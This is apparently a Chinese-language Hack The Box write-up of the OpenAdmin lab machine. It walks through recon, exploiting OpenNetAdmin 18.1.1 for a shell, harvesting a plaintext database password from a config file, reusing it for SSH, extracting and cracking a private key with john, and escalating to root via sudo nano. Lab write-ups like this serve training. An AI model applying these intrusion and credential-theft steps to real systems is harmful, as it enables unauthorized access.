HTB::OpenAdmin
实验环境
渗透过程
0x01 信息搜集
sudo nmap -sS -p1-10000 -sV -sC -T4 10.10.10.171
开放了22(SSH)端口和80(HTTP)端口
访问80端口,发现是apache的默认页面:
使用DIrBuster进行目录扫描:
扫到了两个目录/music、/ona。
访问http://10.10.10.171/music/
,发现是一个普通的web服务页面。
访问http://10.10.10.171/ona/
,发现是OpenNetAdmin
的后台页面。
值得关注的信息是:OpenNetAdmin Version = v18.1.1
查找可以利用的漏洞:
0x02 开干
GetShell
发现Metasploit中有可利用的破解工具,尝试进行利用:
发现提示利用成功,但没有建立会话。
尝试使用sh文件,运行命令searchsploit -m 47691
将该sh文件下载到当前目录,运行
由于这个shell可能是在win下编写的,所以换行格式与Linux不同,运行后无法解析,使用命令dos2unix ./47961.sh
把文件转成unix下可执行文件就可以正常运行。
脚本反弹了shell。
这里也可以上传一句话木马,使用蚁剑进行连接,获得shell。
user.txt
经过测试发现,当前用户是www-data
,不能执行cd
命令离开当前目录。
nmap结果可以看到靶机还开放了22端口,所以要找到可以登录ssh的用户以及密码。
查看该主机上的用户:
或者:
获得用户jimmy
,joanna
继续查找信息:
$ find / -name config // 查找相关配置文件
[OUTPUT]:
/opt/ona/www/config
/opt/ona/www/local/config
/var/www/html/marga/.git/config
/snap/core/7270/etc/kbd/config
/snap/core/7270/usr/lib/initramfs-tools/etc/dhcp/dhclient-enter-hooks.d/config
查看相关配置文件:
$ ls local/config
database_settings.inc.php
motd.txt.example
run_installer
查看database_settings.inc.php
$ cat local/config/database_settings.inc.php
[OUTPUT]:
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
获得数据库密码,使用该密码登陆ssh。
登陆成功
查看jimmy
可以访问的目录:find / -type d -user jimmy
/var/www/internal
/home/jimmy
/home/jimmy/.local
/home/jimmy/.local/share
/home/jimmy/.local/share/nano
/home/jimmy/.cache
/home/jimmy/.gnupg
/home/jimmy/.gnupg/private-keys-v1.d
查看相关信息
jimmy@openadmin:~$ ls /var/www/internal
index.php logout.php main.php
分析index.php代码。
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
}
?>
代码显示如果username和passwd都正确,则会跳转到main.php页面。
分析main.php代码
<?php
session_start();
if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
mian.php
文件提示通过登录认证jimmy用户就会输出另一个用户joanna的rsa密钥,现在我们需要知道,这个服务运行在哪个端口上。
现在的问题就是如何Post这个url。直接在浏览器肯定不行,因为默认的路由就是 ona,肯定只能在这个SSH内部,结合这个目录名字internal。但最早我们扫端口只有80和22,接着我们再看一下jimmy用户本地启动的服务,3306不用说了,那大概率就是那个52846。
进行访问得到rsa密钥:
顺便找到了配置文件:
jimmy@openadmin:~$ cat /etc/apache2/sites-available/internal.conf
Listen 127.0.0.1:52846
<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
<IfModule mpm_itk_module>
AssignUserID joanna joanna // 只允许joanna用户有权限权限执行php文件
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
浏览器打开访问提示连接失败。
ssh_key到手,直接连接jimmy这个账号之前我们还需要知道这个私钥的密码,使用john爆破。
第一步,将私钥复制到Kali本地。
第二步,利用 john 自带脚本转换格式为json
python /usr/share/john/ssh2john.py rsa > rsajson
ssh2john.py 的作用就是把 ssh 密钥 改成 john 可以识别的格式
第三步,使用 john 爆破
➜ Desktop sudo john --wordlist=/usr/share/wordlists/rockyou.txt sshjohn
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas (rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:11 DONE (2020-04-02 09:24) 0.08532g/s 1223Kp/s 1223Kc/s 1223KC/sa6_123..*7¡Vamos!
Session completed
密码为 bloodninjas
经尝试这个密码并不是joanna的ssh连接密码,而是利用密钥连接ssh时对私钥的验证密码。之后连接到joanna的ssh
提示权限错误,经过查阅资料,这里只要将密钥的权限改为600即可
得到user.txt
root.txt
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
sudo -l
命令显示用户Joanna可以无需密码使用nano去编辑/opt/priv这个文件。
直接sudo nano /opt/priv
进入编辑器,Ctrl+R读取文件,输入文件路径即可查看所有root权限文件。
得到root.txt
HTB::OpenAdmin的更多相关文章
- 使用 IMQ+HTB+iptable 统一流量控制心得
IMQ 是中介队列设备的简称,是一个虚拟的网卡设备,与物理网卡不同的是,通过它可以进行全局的流量整形,不需要一个网卡一个网卡地限速.这对有多个ISP接入的情况特别方便.配合 Iptables,可以非常 ...
- Optimizing shaper — hashing filters (HTB)
I have a very nice shaper in my linux box :-) How the configurator works — it’s another question, he ...
- TC HTB r2q
HTB: quantum of class 10001 is big. Consider r2q change. 根据HTB的官方文档显示,quantum是在可以“借”的情况下,一次可以“借”多少,并 ...
- Trafic control 大框图(HTB )
10.1. General diagram Below is a general diagram of the relationships of the components of a classfu ...
- HTB Linux queuing discipline manual - user guide笔记
1. Introduction HTB is meant as a more understandable, intuitive and faster replacement for the CBQ ...
- ROS HTB限速失败原因分析和需注意事项
要想做限速,必须要知道以下几点: 首先要知道自己要限制什么的速度,谁的速度,于是需要用的标记,即Mangle. 其次要知道怎么限速,是限制上传,还是下载? 最后要知道所做的限速是否成功,即需要知道如何 ...
- 【HTB系列】靶机Frolic的渗透测试详解
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...
- 【HTB系列】靶机Access的渗透测试详解
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...
- 【HTB系列】靶机Chaos的渗透测试详解
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 知识点: 通过域名或者IP可能会得到网站的不同响应 Wpscan的扫描wordpress ...
随机推荐
- Java操作符,<<、>>等
数学意义:在数字没有溢出的前提下,对于正数和负数,左移一位都相当于乘以2的1次方,左移n位就相当于乘以2的n次方. 计算:3 << 2 3 << 2,则是将数字3左移2位 1. ...
- [xDebug]Xdebug和Sublime调试PHP代码
安装xdebug 省略... 配置sublime 要调试某一个项目,首先得把这个项目在sublime下保存成一个project sublime->project->save project ...
- 深入理解 EF Core:EF Core 读取数据时发生了什么?
阅读本文大概需要 11 分钟. 原文:https://bit.ly/2UMiDLb 作者:Jon P Smith 翻译:王亮 声明:我翻译技术文章不是逐句翻译的,而是根据我自己的理解来表述的.其中可能 ...
- Rust 数据类型
Rust中的每个值都具有特定的数据类型. 基础类型: 整数,浮点数,布尔值和字符 i8,i16,i32,i64,i64,i128,isize, u8,u16,u32,u64,u64,u128,usiz ...
- MFC中窗口启动后,CEdit编辑框默认光标位置设置,顺序的调节方法
MFC中窗口启动后,CEdit编辑框默认光标位设置,顺序的调节方法 在编辑界面按下ctrl+D键,就会出现所有控件的Tab键顺序,按照自己想要的顺序依次点击控件,就可以重新安排顺序.数值1就是默认停留 ...
- Oracle SQL调优系列之SQL Monitor Report
@ 目录 1.SQL Monitor简介 2.捕捉sql的前提 3.SQL Monitor 参数设置 4.SQL Monitor Report 4.1.SQL_ID获取 4.2.Text文本格式 4. ...
- Redis命令速查
目录 string list set zset hash 记录下常用的,方便查找 string 内部sds,动态扩容.小于1M加倍扩,大于1M每次扩容1M.最大长度512M. SET name val ...
- java并发编程-线程生命周期
线程生命周期 现代操作系统在运行一个程序时,会为其创建一个进程.例如,启动一个Java程序,操作系统就会创建一个Java进程.现代操作系统调度的最小单元是线程,也叫轻量级进程(Light Weight ...
- Spring 面试详解
SpringSpring就像是整个项目中装配bean的大工厂,在配置文件中可以指定使用特定的参数去调用实体类的构造方法来实例化对象.Spring的核心思想是IoC(控制反转),即不再需要程序员去显式地 ...
- java scoket Blocking 阻塞IO socket通信三
在NIO同步非阻塞的场景中和原来同步阻塞最大的却别就是引入了上面的Buffer对象,现在我们来学校上面的BUffer对象 我们来看看程序的代码: package bhz.nio.test; impor ...